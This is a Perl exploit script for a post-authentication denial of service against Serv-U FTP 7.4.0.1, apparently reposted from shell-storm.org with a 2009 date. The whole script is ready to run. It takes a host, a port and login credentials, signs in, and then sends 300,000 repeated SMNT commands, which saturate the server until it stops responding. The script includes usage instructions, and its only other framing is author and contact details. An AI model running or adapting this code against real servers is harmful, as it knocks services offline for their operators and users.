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Serv-U 7.4.0.1 (SMNT) Denial of Service Exploit (post auth)
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来源：http://www.shell-storm.org 作者：Salwan 发布时间：2009-03-17
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#!/usr/bin/perl
# Soft : FTP Serv-U
# Version : v7.4.0.1
#
# Denial of Service in Serv-u up to 7.4.0.1 (no crash)
# Just the server is saturated, it stops responding.
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org
use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";
if (@ARGV < 3)
{
print "[*] Usage: <serv-u.pl> <host> <port>\n";
print "[*] Exemple: serv-u.pl 127.0.0.1 21 jonathan toto\n";
exit;
}
$ip = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";
print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";
$evil = "SMNT\r\n" x 300000;
$after = "\x2A\x2A";
print $socket "USER $user\r\n";
print $socket "PASS $pass.$after\r\n";
print $socket "$evil";
sleep(1);
close($socket);
print "[+]Done! the server is saturated.\n";
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